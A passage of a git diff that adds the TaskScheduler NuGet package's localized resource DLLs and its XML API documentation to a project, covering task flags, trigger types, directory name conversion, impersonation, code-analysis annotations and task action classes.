instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..7af3228 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..ba0cb6c Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1446567 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..e9c8ea3 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..b750ac3 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..5d88d55 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..a2cd972 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..62d3f51 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..f212826 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..ee17ffd Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..0855305 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..1ffa68d Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/Microsoft.Win32.TaskScheduler.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/Microsoft.Win32.TaskScheduler.xml b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable 